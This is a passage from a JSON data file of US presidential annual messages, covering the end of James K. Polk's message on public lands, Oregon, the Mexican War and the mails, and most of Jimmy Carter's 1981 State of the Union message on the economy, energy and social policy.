Congress is invited. These defects would impair to some\nextent the successful operation of the law at all times, but are especially\nembarrassing when the country is engaged in a war, when the expenditures\nare greatly increased, when loans are to be effected and the disbursements\nare to be made at points many hundred miles distant, in some cases, from\nany depository, and a large portion of them in a foreign country. The\nmodifications suggested in the report of the Secretary of the Treasury are\nrecommended to your favorable consideration.In connection with this subject I invite your attention to the importance\nof establishing a branch of the Mint of the United States at New York.\nTwo-thirds of the revenue derived from customs being collected at that\npoint, the demand for specie to pay the duties will be large, and a branch\nmint where foreign coin and bullion could be immediately converted into\nAmerican coin would greatly facilitate the transaction of the public\nbusiness, enlarge the circulation of gold and silver, and be at the same\ntime a safe depository of the public money.The importance of graduating and reducing the price of such of the public\nlands as have been long offered in the market at the minimum rate\nauthorized by existing laws, and remain unsold, induces me again to\nrecommend the subject to your favorable consideration. Many millions of\nacres of these lands have been offered in the market for more than thirty\nyears and larger quantities for more than ten or twenty years, and, being\nof an inferior quality, they must remain unsalable for an indefinite period\nunless the price at which they may be purchased shall be reduced. To place\na price upon them above their real value is not only to prevent their sale,\nand thereby deprive the Treasury of any income from that source, but is\nunjust to the States in which they lie, because it retards their growth and\nincrease of population, and because they have no power to levy a tax upon\nthem as upon other lands within their limits, held by other proprietors\nthan the United States, for the support of their local governments.The beneficial effects of the graduation principle have been realized by\nsome of the States owning the lands within their limits in which it has\nbeen adopted. They have been demonstrated also by the United States acting\nas the trustee of the Chickasaw tribe of Indians in the sale of their lands\nlying within the States of Mississippi and Alabama. The Chickasaw lands,\nwhich would not command in the market the minimum price established by the\nlaws of the United States for the sale of their lands, were, in pursuance\nof the treaty of 1834 with that tribe, subsequently offered for sale at\ngraduated and reduced rates for limited periods. The result was that large\nquantities of these lands were purchased which would otherwise have\nremained unsold. The lands were disposed of at their real value, and many\npersons of limited means were enabled to purchase small tracts, upon which\nthey have settled with their families. That similar results would be\nproduced by the adoption of the graduation policy by the United States in\nall the States in which they are the owners of large bodies of lands which\nhave been long in the market can not be doubted. It can not be a sound\npolicy to withhold large quantities of the public lands from the use and\noccupation of our citizens by fixing upon them prices which experience has\nshown they will not command. On the contrary, it is a wise policy to afford\nfacilities to our citizens to become the owners at low and moderate rates\nof freeholds of their own instead of being the tenants and dependents of\nothers. If it be apprehended that these lands if reduced in price would be\nsecured in large quantities by speculators or capitalists, the sales may be\nrestricted in limited quantities to actual settlers or persons purchasing\nfor purposes of cultivation.In my last annual message I submitted for the consideration of Congress the\npresent system of managing the mineral lands of the United States, and\nrecommended that they should be brought into market and sold upon such\nterms and under such restrictions as Congress might prescribe. By the act\nof the 11th of July last \"the reserved lead mines and contiguous lands in\nthe States of Illinois and Arkansas and Territories of Wisconsin and Iowa\"\nwere authorized to be sold. The act is confined in its operation to \"lead\nmines and contiguous lands.\" A large portion of the public lands,\ncontaining copper and other ores, is represented to be very valuable, and I\nrecommend that provision be made authorizing the sale of these lands upon\nsuch terms and conditions as from their supposed value may in the judgment\nof Congress be deemed advisable, having due regard to the interests of such\nof our citizens as may be located upon them.It will be important during your present session to establish a Territorial\ngovernment and to extend the jurisdiction and laws of the United States\nover the Territory of Oregon. Our laws regulating trade and intercourse\nwith the Indian tribes east of the Rocky Mountains should be extended to\nthe Pacific Ocean; and for the purpose of executing them and preserving\nfriendly relations with the Indian tribes within our limits, an additional\nnumber of Indian agencies will be required, and should be authorized by\nlaw. The establishment of custom-houses and of post-offices and post-roads\nand provision for the transportation of the mail on such routes as the\npublic convenience will suggest require legislative authority. It will be\nproper also to establish a surveyor-general's office in that Territory and\nto make the necessary provision for surveying the public lands and bringing\nthem into market. As our citizens who now reside in that distant region\nhave been subjected to many hardships, privations, and sacrifices in their\nemigration, and by their improvements have enhanced the value of the public\nlands in the neighborhood of their settlements, it is recommended that\nliberal grants be made to them of such portions of these lands as they may\noccupy, and that similar grants or rights of preemption be made to all who\nmay emigrate thither within a limited period, prescribed by law.The report of the Secretary of War contains detailed information relative\nto the several branches of the public service connected with that\nDepartment. The operations of the Army have been of a satisfactory and\nhighly gratifying character. I recommend to your early and favorable\nconsideration the measures proposed by the Secretary of War for speedily\nfilling up the rank and file of the Regular Army, for its greater\nefficiency in the field, and for raising an additional force to serve\nduring the war with Mexico.Embarrassment is likely to arise for want of legal provision authorizing\ncompensation to be made to the agents employed in the several States and\nTerritories to pay the Revolutionary and other pensioners the amounts\nallowed them by law. Your attention is invited to the recommendations of\nthe Secretary of War on this subject. These agents incur heavy\nresponsibilities and perform important duties, and no reason exists why\nthey should not be placed on the same footing as to compensation with other\ndisbursing officers.Our relations with the various Indian tribes continue to be of a pacific\ncharacter. The unhappy dissensions which have existed among the Cherokees\nfor many years past have been healed. Since my last annual message\nimportant treaties have been negotiated with some of the tribes, by which\nthe Indian title to large tracts of valuable land within the limits of the\nStates and Territories has been extinguished and arrangements made for\nremoving them to the country west of the Mississippi. Between 3,000 and\n4,000 of different tribes have been removed to the country provided for\nthem by treaty stipulations, and arrangements have been made for others to\nfollow.In our intercourse with the several tribes particular attention has been\ngiven to the important subject of education. The number of schools\nestablished among them has been increased, and additional means provided\nnot only for teaching them the rudiments of education, but of instructing\nthem in agriculture and the mechanic arts.I refer you to the report of the Secretary of the Navy for a satisfactory\nview of the operations of the Department under his charge during the past\nyear. It is gratifying to perceive that while the war with Mexico has\nrendered it necessary to employ an unusual number of our armed vessels on\nher coasts, the protection due to our commerce in other quarters of the\nworld has not proved insufficient. No means will be spared to give\nefficiency to the naval service in the prosecution of the war; and I am\nhappy to know that the officers and men anxiously desire to devote\nthemselves to the service of their country in any enterprise, however\ndifficult of execution.I recommend to your favorable consideration the proposition to add to each\nof our foreign squadrons an efficient sea steamer, and, as especially\ndemanding attention, the establishment at Pensacola of the necessary means\nof repairing and refitting the vessels of the Navy employed in the Gulf of\nMexico.There are other suggestions in the report which deserve and I doubt not\nwill receive your consideration.The progress and condition of the mail service for the past year are fully\npresented in the report of the Postmaster-General. The revenue for the year\nending on the 30th of June last amounted to $3,487,199, which is\n$802,642.45 less than that of the preceding year. The payments for that\nDepartment during the same time amounted to $4,084,297.22. Of this sum\n$597,097.80 have been drawn from the Treasury. The disbursements for the\nyear were $236,434.77 less than those of the preceding year. While the\ndisbursements have been thus diminished, the mail facilities have been\nenlarged by new mail routes of 5,739 miles, an increase of transportation\nof 1,764,145 miles, and the establishment of 418 new post-offices.\nContractors, postmasters, and others engaged in this branch of the service\nhave performed their duties with energy and faithfulness deserving\ncommendation. For many interesting details connected with the operations of\nthis establishment you are referred to the report of the\nPostmaster-General, and his suggestions for improving its revenues are\nrecommended to your favorable consideration. I repeat the opinion expressed\nin my last annual message that the business of this Department should be so\nregulated that the revenues derived from it should be made to equal the\nexpenditures, and it is believed that this may be done by proper\nmodifications of the present laws, as suggested in the report of the\nPostmaster-General, without changing the present rates of postage.With full reliance upon the wisdom and patriotism of your deliberations, it\nwill be my duty, as it will be my anxious desire, to cooperate with you in\nevery constitutional effort to promote the welfare and maintain the honor\nof our common country.JAMES K. POLK", 
+    "name": "James Polk"
+}
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+{
+    "date": "January 16, 1981", 
+    "speech": "To the Congress of the United States:The State of the Union is sound. Our economy is recovering from a\nrecession. A national energy plan is in place and our dependence on foreign\noil is decreasing. We have been at peace for four uninterrupted years.But, our Nation has serious problems. Inflation and unemployment are\nunacceptably high. The world oil market is increasingly tight. There are\ntrouble spots throughout the world, and 52 American hostages are being held\nin Iran against international law and against every precept of human\naffairs.However, I firmly believe that, as a result of the progress made in so many\ndomestic and international areas over the past four years, our Nation is\nstronger, wealthier, more compassionate and freer than it was four years\nago. I am proud of that fact. And I believe the Congress should be proud as\nwell, for so much of what has been accomplished over the past four years\nhas been due to the hard work, insights and cooperation of Congress. I\napplaud the Congress for its efforts and its achievements.In this State of the Union Message I want to recount the achievements and\nprogress of the last four years and to offer recommendations to the\nCongress for this year. While my term as President will end before the 97th\nCongress begins its work in earnest, I hope that my recommendations will\nserve as a guide for the direction this country should take so we build on\nthe record of the past four years.RECORD OF PROGRESSWhen I took office, our Nation faced a number of serious domestic and\ninternational problems:--no national energy policy existed, and our dependence on foreign oil was\nrapidly increasing;--public trust in the integrity and openness of the government was low;--the Federal government was operating inefficiently in administering\nessential programs and policies;--major social problems were being ignored or poorly addressed by the\nFederal government;--our defense posture was declining as a result of a defense budget which\nwas continuously shrinking in real terms;--the strength of the NATO Alliance needed to be bolstered;--tensions between Israel and Egypt threatened another Middle East war;\nand--America's resolve to oppose human rights violations was under serious\nquestion.Over the past 48 months, clear progress has been made in solving the\nchallenges we found in January of 1977:--almost all of our comprehensive energy program have been enacted, and the\nDepartment of Energy has been established to administer the program;\nconfidence in the government's integrity has been restored, and respect for\nthe government's openness and fairness has been renewed;--the government has been made more effective and efficient: the Civil\nService system was completely reformed for the first time this century;--14 reorganization initiatives have been proposed to the Congress,\napproved, and implemented;--two new Cabinet departments have been created to consolidate and\nstreamline the government's handling of energy and education problems;--inspectors general have been placed in each Cabinet department to combat\nfraud, waste and other abuses;--the regulatory process has been reformed through creation of the\nRegulatory Council, implementation of Executive Order 12044 and its\nrequirement for cost-impact analyses, elimination of unnecessary\nregulation, and passage of the Regulatory Flexibility Act;--procedures have been established to assure citizen participation in\ngovernment;--and the airline, trucking, rail and communications industries are being\nderegulated;--critical social problems, many long ignored by the Federal government,\nhave been addressed directly;--an urban policy was developed and implemented to reverse the decline\nin our urban areas;--the Social Security System was refinanced to put it on a sound financial\nbasis;--the Humphrey-Hawkins Full Employment Act was enacted;--Federal assistance for education was expanded by more than 75 percent;--the minimum wage was increased to levels needed to ease the effects of\ninflation;--affirmative action has been pursued aggressively; more blacks, Hispanics\nand women have been appointed to senior government positions and to\njudgeships than at any other time in our history;--the ERA ratification deadline was extended to aid the ratification effort;--and minority business procurement by the Federal government has more than\ndoubled;--the Nation's first sectoral policies were put in place, for the auto and\nsteel industries, with my Administration demonstrating the value of\ncooperation between the government, business and labor;--reversing previous trends, real defense spending has increased every year\nsince 1977;--the real increase in FY 1980 defense spending is well above 3 percent\nand I expect FY 1981 defense spending to be even higher;--looking ahead, the defense program I am proposing is premised on a real\nincrease in defense spending over the next five years of 20 percent or\nmore;--the NATO Alliance has proven its unity in responding to the situations in\nEastern Europe and Southwest Asia and in agreeing on the issues to be\naddressed in the review of the Helsinki Final Act currently underway in\nMadrid;--the peace process in the Middle East established at Camp David and by the\nPeace Treaty between Egypt and Israel is being buttressed on two fronts:\nsteady progress in the normalization of Egyptian-Israeli relations in many\nfields, and the commitment of both Egypt and Israel, with United States'\nassistance, to see through to successful conclusion the autonomy\nnegotiations for the West Bank and Gaza;--the Panama Canal Treaties have been put into effect, which has helped to\nimprove relations with Latin America;--we have continued this Nation's strong commitment to the pursuit of human\nrights throughout the world, evenhandedly and objectively;--our commitment to a worldwide human rights policy has remained firm;--and many other countries have given high priority to it;--our resolve to oppose aggression, such as the illegal invasion of the\nSoviet Union into Afghanistan, has been supported by tough action.I. ENSURING ECONOMIC STRENGTH ECONOMYDuring the last decade our Nation has withstood a series of economic shocks\nunprecedented in peacetime. The most dramatic of these has been the\nexplosive increases of OPEC oil prices. But we have also faced world\ncommodity shortages, natural disasters, agricultural shortages and major\nchallenges to world peace and security. Our ability to deal with these\nshocks has been impaired because of a decrease in the growth of\nproductivity and the persistence of underlying inflationary forces built up\nover the past 15 years.Nevertheless, the economy has proved to be remarkably resilient. Real\noutput has grown at an average rate of 3 percent per year since I took\noffice, and employment has grown by 10 percent. We have added about 8\nmillion productive private sector jobs to the economy. However,\nunacceptably high inflation--the most difficult economic problem I have\nfaced--persists.This inflation--which threatens the growth, productivity, and stability of\nour economy--requires that we restrain the growth of the budget to the\nmaximum extent consistent with national security and human compassion. I\nhave done so in my earlier budgets, and in my FY '82 budget. However, while\nrestraint is essential to any appropriate economic policy, high inflation\ncannot be attributed solely to government spending. The growth in budget\noutlays has been more the result of economic factors than the cause of\nthem.We are now in the early stages of economic recovery following a short\nrecession. Typically, a post-recessionary period has been marked by\nvigorous economic growth aided by anti-recessionary policy measures such as\nlarge tax cuts or big, stimulation spending programs. I have declined to\nrecommend such actions to stimulate economic activity, because the\npersistent inflationary pressures that beset our economy today dictate a\nrestrained fiscal policy.Accordingly, I am asking the Congress to postpone until January 1, 1982,\nthe personal tax reductions I had earlier proposed to take effect on\nJanuary 1 of this year.However, my 1982 budget proposes significant tax changes to increase the\nsources of financing for business investment. While emphasizing the need\nfor continued fiscal restraint, this budget takes the first major step in a\nlong-term tax reduction program designed to increase capital formation. The\nfailure of our Nation's capital stock to grow at a rate that keeps pace\nwith its labor force has clearly been one cause of our productivity\nslowdown. Higher investment rates are also critically needed to meet our\nNation's energy needs, and to replace energy-inefficient plants and\nequipment with new energy-saving physical plants. The level of investment\nthat is called for will not occur in the absence of policies to encourage\nit.Therefore, my budget proposes a major liberalization of tax allowances for\ndepreciation, as well as simplified depreciation accounting, increasing the\nallowable rates by about 40 percent. I am also proposing improvements in\nthe investment tax credit, making it refundable, to meet the investment\nneeds of firms with no current earnings.These two proposals, along with carefully-phased tax reductions for\nindividuals, will improve both economic efficiency and tax equity. I urge\nthe Congress to enact legislation along the lines and timetable I have\nproposed.THE 1982 BUDGETThe FY 1982 budget I have sent to the Congress continues our four-year\npolicy of prudence and restraint. While the budget deficits during my term\nare higher than I would have liked, their size is determined for the most\npart by economic conditions. And in spite of these conditions, the relative\nsize of the deficit continues to decline. In 1976, before I took office,\nthe budget deficit equalled 4 percent of gross national product. It had\nbeen cut to 2.3 percent in the 1980 fiscal year just ended. My 1982 budget\ncontains a deficit estimated to be less than 1 percent of our gross\nnational product.The rate of growth in Federal spending has been held to a minimum.\nNevertheless, outlays are still rising more rapidly than many had\nanticipated, the result of many powerful forces in our society:We face a threat to our security, as events in Afghanistan, the Middle\nEast, and Eastern Europe make clear. We have a steadily aging population\nand, as a result, the biggest single increase in the Federal budget is the\nrising cost of retirement programs, particularly social security. We face\nother important domestic needs: to continue responsibility for the\ndisadvantaged; to provide the capital needed by our cities and our\ntransportation systems; to protect our environment; to revitalize American\nindustry; and to increase the export of American goods and services so\nessential to the creation of jobs and a trade surplus.Yet the Federal Government itself may not always be the proper source of\nsuch assistance. For example, it must not usurp functions if they can be\nmore appropriately decided upon, managed, and financed by the private\nsector or by State and local governments. My Administration has always\nsought to consider the proper focus of responsibility for the most\nefficient resolution of problems.We have also recognized the need to simplify the system of grants to State\nand local governments. I have again proposed several grant consolidations\nin the 1982 budget, including a new proposal that would consolidate several\nhighway programs.The pressures for growth in Federal use of national resources are great. My\nAdministration has initiated many new approaches to cope with these\npressures. We started a multi-year budget system, and we began a system for\ncontrolling Federal credit programs. Yet in spite of increasing needs to\nlimit spending growth, we have consistently adhered to these strong budget\nprinciples:Our Nation's armed forces must always stand sufficiently strong to deter\naggression and to assure our security. An effective national energy plan is\nessential to increase domestic production of oil and gas, to encourage\nconservation of our scarce energy resources, to stimulate conversion to\nmore abundant fuels, and to reduce our trade deficit. The essential human\nneeds for our citizens must be given the highest priority. The Federal\nGovernment must lead the way in investment in the Nation's technological\nfuture. The Federal Government has an obligation to nurture and protect our\nenvironment--the common resource, birthright, and sustenance of the\nAmerican people.My 1982 budget continues to support these principles. It also proposes\nresponsible tax reductions to encourage a more productive economy, and\nadequate funding of our highest priority programs within an overall policy\nof constraint.Fiscal restraint must be continued in the years ahead. Budgets must be\ntight enough to convince those who set wages and prices that the Federal\nGovernment is serious about fighting inflation but not so tight as to choke\noff all growth.Careful budget policy should be supplemented by other measures designed to\nreduce inflation at lower cost in lost output and employment. These other\nsteps include measures to increase investment--such as the tax proposals\nincluded in my 1982 budget--and measures to increase competition and\nproductivity in our economy. Voluntary incomes policies can also directly\ninfluence wages and prices in the direction of moderation and thereby bring\ninflation down faster and at lower cost to the economy. Through a tax-based\nincomes policy (TIP) we could provide tax incentives for firms and workers\nto moderate their wage and price increases. In the coming years, control of\nFederal expenditures can make possible periodic tax reductions. The\nCongress should therefore begin now to evaluate the potentialities of a TIP\nprogram so that when the next round of tax reductions is appropriate a TIP\nprogram will be seriously considered.EMPLOYMENTDuring the last four years we have given top priority to meeting the needs\nof workers and providing additional job opportunities to those who seek\nwork. Since the end of 1976:Almost 9 million new jobs have been added to the nation's economy total\nemployment has reached 97 million. More jobs than ever before are held by\nwomen, minorities and young people. Employment over the past four years has\nincreased by: 17% for adult women 11% for blacks, and 30% for Hispanics\nemployment of black teenagers increased by more than 5%, reversing the\ndecline that occurred in the previous eight years.Major initiatives launched by this Administration helped bring about these\naccomplishments and have provided a solid foundation for employment and\ntraining policy in the 1980's. In 1977, as part of the comprehensive\neconomic stimulus program:425,000 public service jobs were created A $1 billion youth employment\ninitiative funded 200,000 jobs the doubling of the Job Corps to 44,000\nslots began and 1 million summer youth jobs were approved--a 25 percent\nincrease.In 1978:The Humphrey-Hawkins Full Employment Act became law the $400 million\nPrivate Sector Initiatives Program was begun a targeted jobs tax credit for\ndisadvantaged youth and others with special employment barriers was enacted\nthe Comprehensive Employment and Training Act was reauthorized for four\nyears.In 1979:A $6 billion welfare reform proposal was introduced with funding for\n400,000 public service jobs welfare reform demonstration projects were\nlaunched in communities around the country the Vice President initiated a\nnationwide review of youth unemployment in this country.In 1980:The findings of the Vice President's Task Force revealed the major\neducation and employment deficits that exist for poor and minority\nyoungsters. As a result a $2 billion youth education and jobs initiative\nwas introduced to provide unemployed youth with the basic education and\nwork experience they need to compete in the labor market of the 1980's. As\npart of the economic revitalization program several steps were proposed to\naid workers in high unemployment communities:An additional 13 weeks of unemployment benefits for the long term\nunemployed. $600 million to train the disadvantaged and unemployed for new\nprivate sector jobs. Positive adjustment demonstrations to aid workers in\ndeclining industries. The important Title VII Private Sector Initiatives\nProgram was reauthorized for an additional two years.In addition to making significant progress in helping the disadvantaged and\nunemployed, important gains were realized for all workers:An historic national accord with organized labor made it possible for the\nviews of working men and women to be heard as the nation's economic and\ndomestic policies were formulated; the Mine Safety and Health Act brought\nabout improved working conditions for the nation's 500,000 miners.\nsubstantial reforms of Occupational Safety and Health Administration were\naccomplished to help reduce unnecessary burdens on business and to focus on\nmajor health and safety problems; the minimum wage was increased over a\nfour year period from $2.30 to $3.35 an hour; the Black Lung Benefit Reform\nAct was signed into law; attempts to weaken Davis-Bacon Act were defeated.While substantial gains have been made in the last four years, continued\nefforts are required to ensure that this progress is continued:Government must continue to make labor a full partner in the policy\ndecisions that affect the interests of working men and women; a broad,\nbipartisan effort to combat youth unemployment must be sustained\ncompassionate reform of the nation's welfare system should be continued\nwith employment opportunities provided for those able to work; workers in\ndeclining industries should be provided new skills and help in finding\nemployment.TRADEOver the past year, the U.S. trade picture improved as a result of solid\nexport gains in both manufactured and agricultural products. Agricultural\nexports reached a new record of over $40 billion, while manufactured\nexports have grown by 24 percent to a record $144 billion. In these areas\nthe United States recorded significant surpluses of $24 billion and $19\nbillion respectively. While our oil imports remained a major drain on our\nforeign exchange earnings, that drain was somewhat moderated by a 19\npercent decline in the volume of oil imports.U.S. trade negotiators made significant progress over the past year in\nassuring effective implementation of the agreements negotiated during the\nTokyo Round of Multilateral Trade Negotiations. Agreements reached with the\nJapanese government, for example, will assure that the United States will\nbe able to expand its exports to the Japanese market in such key areas as\ntelecommunications equipment, tobacco, and lumber. Efforts by U.S. trade\nnegotiators also helped to persuade a number of key developing countries to\naccept many of the non-tariff codes negotiated during the Multilateral\nTrade Negotiations. This will assure that these countries will increasingly\nassume obligations under the international trading system.A difficult world economic environment posed a challenge for the management\nof trade relations. U.S. trade negotiators were called upon to manage\nserious sectoral problems in such areas as steel, and helped to assure that\nU.S. chemical exports will have continued access to the European market.Close consultations with the private sector in the United States have\nenabled U.S. trade negotiators to pinpoint obstacles to U.S. trade in\nservices, and to build a basis for future negotiations. Services have been\nan increasingly important source of export earnings for the United States,\nand the United States must assure continued and increased access to foreign\nmarkets.The trade position of the United States has improved. But vigorous efforts\nare needed in a number of areas to assure continued market access for U.S.\nexports, particularly agricultural and high technology products, in which\nthe United States continues to have a strong competitive edge. Continued\nefforts are also needed to remove many domestic disincentives, which now\nhamper U.S. export growth. And we must ensure that countries do not\nmanipulate investment, or impose investment performance requirements which\ndistort trade and cost us jobs in this country.In short, we must continue to seek free--but fair--trade. That is the\npolicy my Administration has pursued from the beginning, even in areas\nwhere foreign competition has clearly affected our domestic industry. In\nthe steel industry, for instance, we have put Trigger Price Mechanism into\nplace to help prevent the dumping of steel. That action has strengthened\nthe domestic steel industry. In the automobile industry, we have worked--\nwithout resort to import quotas--to strengthen the industry's ability to\nmodernize and compete effectively.SMALL BUSINESSI have often said that there is nothing small about small business in\nAmerica. These firms account for nearly one-half our gross national\nproduct; over half of new technology; and much more than half of the jobs\ncreated by industry.Because this sector of the economy is the very lifeblood of our National\neconomy, we have done much together to improve the competitive climate for\nsmaller firms. These concerted efforts have been an integral part of my\nprogram to revitalize the economy.They include my campaign to shrink substantially the cash and time\nconsuming red tape burden imposed on business. They include my\npersonally-directed policy of ambitiously increasing the Federal\ncontracting dollars going to small firms, especially those owned by women\nand minorities. And they include my proposals to reinvigorate existing\nsmall businesses and assist the creation of new ones through tax reform;\nfinancing assistance; market expansion; and support of product innovation.Many of my initiatives to facilitate the creation and growth of small\nbusinesses were made in response to the White House Conference on Small\nBusiness, which I convened. My Administration began the implementation of\nmost of the ideas produced last year by that citizen's advisory body;\nothers need to be addressed. I have proposed the reconvening of the\nConference next year to review progress; reassess priorities; and set new\ngoals. In the interim I hope that the incoming Administration and the new\nCongress will work with the committee I have established to keep these\nbusiness development ideas alive and help implement Conference\nrecommendations.MINORITY BUSINESSOne of the most successful developments of my Administration has been the\ngrowth and strengthening of minority business. This is the first\nAdministration to put the issue on the policy agenda as a matter of major\nimportance. To implement the results of our early efforts in this field I\nsubmitted legislation to Congress designed to further the development of\nminority business.We have reorganized the Office of Minority Business into the Minority\nBusiness Development Administration in the Department of Commerce. MBDA has\nalready proven to be a major factor in assisting minority businesses to\nachieve equitable competitive positions in the marketplace.The Federal government's procurement from minority-owned firms has nearly\ntripled since I took office. Federal deposits in minority-owned banks have\nmore than doubled and minority ownership of radio and television stations\nhas nearly doubled. The SBA administered 8(a) Pilot Program for procurement\nwith the Army proved to be successful and I recently expanded the number of\nagencies involved to include NASA and the Departments of Energy and\nTransportation.I firmly believe the critical path to full freedom and equality for\nAmerica's minorities rests with the ability of minority communities to\nparticipate competitively in the free enterprise system. I believe the\ngovernment has a fundamental responsibility to assist in the development of\nminority business and I hope the progress made in the last four years will\ncontinue.II. CREATING ENERGY SECURITYSince I took office, my highest legislative priorities have involved the\nreorientation and redirection of U.S. energy activities and for the first\ntime, to establish a coordinated national energy policy. The struggle to\nachieve that policy has been long and difficult, but the accomplishments of\nthe past four years make clear that our country is finally serious about\nthe problems caused by our overdependence on foreign oil. Our progress\nshould not be lost. We must rely on and encourage multiple forms of energy\nproduction--coal, crude oil, natural gas, solar, nuclear, synthetics--and\nenergy conservation. The framework put in place over the last four years\nwill enable us to do this.NATIONAL ENERGY POLICYAs a result of actions my Administration and the Congress have taken over\nthe past four years, our country finally has a national energy policy:Under my program of phased decontrol, domestic crude oil price controls\nwill end September 30, 1981. As a result exploratory drilling activities\nhave reached an all-time high; Prices for new natural gas are being\ndecontrolled under the Natural Gas Policy Act--and natural gas production\nis now at an all time high; the supply shortages of several years ago have\nbeen eliminated; The windfall profits tax on crude oil has been enacted\nproviding $227 billion over ten years for assistance to low-income\nhouseholds, increased mass transit funding, and a massive investment in the\nproduction and development of alternative energy sources; The Synthetic\nFuels Corporation has been established to help private companies build the\nfacilities to produce energy from synthetic fuels; Solar energy funding has\nbeen quadrupled, solar energy tax credits enacted, and a Solar Energy and\nEnergy Conservation Bank has been established; A route has been chosen to\nbring natural gas from the North Slope of Alaska to the lower 48 states;\nCoal production and consumption incentives have been increased, and coal\nproduction is now at its highest level in history; A gasoline rationing\nplan has been approved by Congress for possible use in the event of a\nsevere energy supply shortage or interruption; Gasohol production has been\ndramatically increased, with a program being put in place to produce 500\nmillion gallons of alcohol fuel by the end of this year--an amount that\ncould enable gasohol to meet the demand for 10 percent of all unleaded\ngasoline; New energy conservation incentives have been provided for\nindividuals, businesses and communities and conservation has increased\ndramatically. The U.S. has reduced oil imports by 25 percent--or 2 million\nbarrels per day--over the past four years.INCREASED DEVELOPMENT OF DOMESTIC ENERGY SOURCESAlthough it is essential that the Nation reduce its dependence on imported\nfossil fuels and complete the transition to reliance on domestic renewable\nsources of energy, it is also important that this transition be\naccomplished in an orderly, economic, and environmentally sound manner. To\nthis end, the Administration has launched several initiatives.Leasing of oil and natural gas on federal lands, particularly the outer\ncontinental shelf, has been accelerated at the same time as the\nAdministration has reformed leasing procedures through the 1978 amendments\nto the Outer Continental Shelf Lands Act. In 1979 the Interior Department\nheld six OCS lease sales, the greatest number ever, which resulted in\nfederal receipts of $6.5 billion, another record. The five-year OCS Leasing\nschedule was completed, requiring 36 sales over the next five years.Since 1971 no general federal coal lease sales were suspended. Over the\npast four years the Administration has completely revised the federal coal\nleasing program to bring it into compliance with the requirements of 1976\nFederal Land Planning and Management Act and other statutory provisions.\nThe program is designed to balance the competing interests that affect\nresource development on public lands and to ensure that adequate supplies\nof coal will be available to meet national needs. As a result, the first\ngeneral competitive federal coal lease sale in ten years will be held this\nmonth.In July 1980, I signed into law the Energy Security Act of 1980 which\nestablished the Synthetic Fuels Corporation. The Corporation is designed to\nspur the development of commercial technologies for production of synthetic\nfuels, such as liquid and gaseous fuels from coal and the production of oil\nfrom oil shale. The Act provides the Corporation with an initial $22\nbillion to accomplish these objectives. The principal purpose of the\nlegislation is to ensure that the nation will have available in the late\n1980's the option to undertake commercial development of synthetic fuels if\nthat becomes necessary. The Energy Security Act also provides significant\nincentives for the development of gasohol and biomass fuels, thereby\nenhancing the nation's supply of alternative energy sources.COMMITMENT TO A SUSTAINABLE ENERGY FUTUREThe Administration's 1977 National Energy Plan marked an historic departure\nfrom the policies of previous Administrations. The plan stressed the\nimportance of both energy production and conservation to achieving our\nultimate national goal of relying primarily on secure sources of energy.\nThe National Energy Plan made energy conservation a cornerstone of our\nnational energy policy.In 1978, I initiated the Administration's Solar Domestic Policy Review.\nThis represented the first step towards widespread introduction of\nrenewable energy sources into the Nation's economy. As a result of the\nReview, I issued the 1979 Solar Message to Congress, the first such message\nin the Nation's history. The Message outlined the Administration's solar\nprogram and established an ambitious national goal for the year 2000 of\nobtaining 20 percent of this Nation's energy from solar and renewable\nsources. The thrust of the federal solar program is to help industry\ndevelop solar energy sources by emphasizing basic research and development\nof solar technologies which are not currently economic, such as\nphotovoltaics, which generate energy directly from the sun. At the same\ntime, through tax incentives, education, and the Solar Energy and Energy\nConservation Bank, the solar program seeks to encourage state and local\ngovernments, industry, and our citizens to expand their use of solar and\nrenewable resource technologies currently available.As a result of these policies and programs, the energy efficiency of the\nAmerican economy has improved markedly and investments in renewable energy\nsources have grown significantly. It now takes 3 1/2 percent less energy to\nproduce a constant dollar of GNP than it did in January 1977. This increase\nin efficiency represents a savings of over 1.3 million barrels per day of\noil equivalent, about the level of total oil production now occurring in\nAlaska. Over the same period, Federal support for conservation and solar\nenergy has increased by more than 3000 percent, to $3.3 billion in FY 1981,\nincluding the tax credits for solar energy and energy conservation\ninvestments--these credits are expected to amount to $1.2 billion in FY\n1981 and $1.5 billion in FY 1982.COMMITMENT TO NUCLEAR SAFETY AND SECURITYSince January 1977, significant progress has been achieved in resolving\nthree critical problems resulting from the use of nuclear energy:\nradioactive waste management, nuclear safety and weapons proliferation.In 1977, the Administration announced its nuclear nonproliferation policy\nand initiated the International Fuel Cycle Evaluation. In 1978, Congress\npassed the Nuclear Nonproliferation Act, an historic piece of legislation.In February 1980, the Administration transmitted its nuclear waste\nmanagement policy to the Congress. This policy was a major advance over all\nprevious efforts. The principal aspects of that policy are: acknowledging\nthe seriousness of the problem and the numerous technical and institutional\nissues; adopting a technically and environmentally conservative approach to\nthe first permanent repository; and providing the states with significant\ninvolvement in nuclear waste disposal decisions by creating the State\nPlanning Council. While much of the plan can be and is being implemented\nadministratively, some new authorities are needed. The Congress should give\nearly priority to enacting provisions for away-from-reactor storage and the\nState Planning Council.The accident at Three Mile Island made the nation acutely aware of the\nsafety risks posed by nuclear power plants. In response, the President\nestablished the Kemeny Commission to review the accident and make\nrecommendations. Virtually all of the Commission's substantive\nrecommendations were adopted by the Administration and are now being\nimplemented by the Nuclear Regulatory Commission. The Congress adopted the\nPresident's proposed plan for the Nuclear Regulatory Commission and the\nNuclear Safety Oversight Committee was established to ensure that the\nAdministration's decisions were implemented.Nuclear safety will remain a vital concern in the years ahead. We must\ncontinue to press ahead for the safe, secure disposal of radioactive\nwastes, and prevention of nuclear proliferation.While significant growth in foreign demand for U.S. steam coal is foreseen,\ncongestion must be removed at major U.S. coal exporting ports such as\nHampton Roads, Virginia, and Baltimore, Maryland. My Administration has\nworked through the Interagency Coal Task Force Study to promote cooperation\nand coordination of resources between shippers, railroads, vessel broker/\noperators and port operators, and to determine the most appropriate Federal\nrole in expanding and modernizing coal export facilities, including\ndredging deeper channels at selected ports. As a result of the Task Force's\nefforts, administrative steps have been taken by the Corps of Engineers to\nreduce significantly the amount of time required for planning and economic\nreview of port dredging proposals. The Administration has also recommended\nthat the Congress enact legislation to give the President generic authority\nto recommend appropriations for channel dredging activities. Private\nindustry will, of course, play the major role in developing the United\nStates' coal export facilities, but the government must continue to work to\nfacilitate transportation to foreign markets.III. ENHANCING BASIC HUMAN AND SOCIAL NEEDSFor too long prior to my Administration, many of our Nation's basic human\nand social needs were being ignored or handled insensitively by the Federal\ngovernment. Over the last four years, we have significantly increased\nfunding for many of the vital programs in these areas; developed new\nprograms where needs were unaddressed; targeted Federal support to those\nindividuals and areas most in need of our assistance; and removed barriers\nthat have 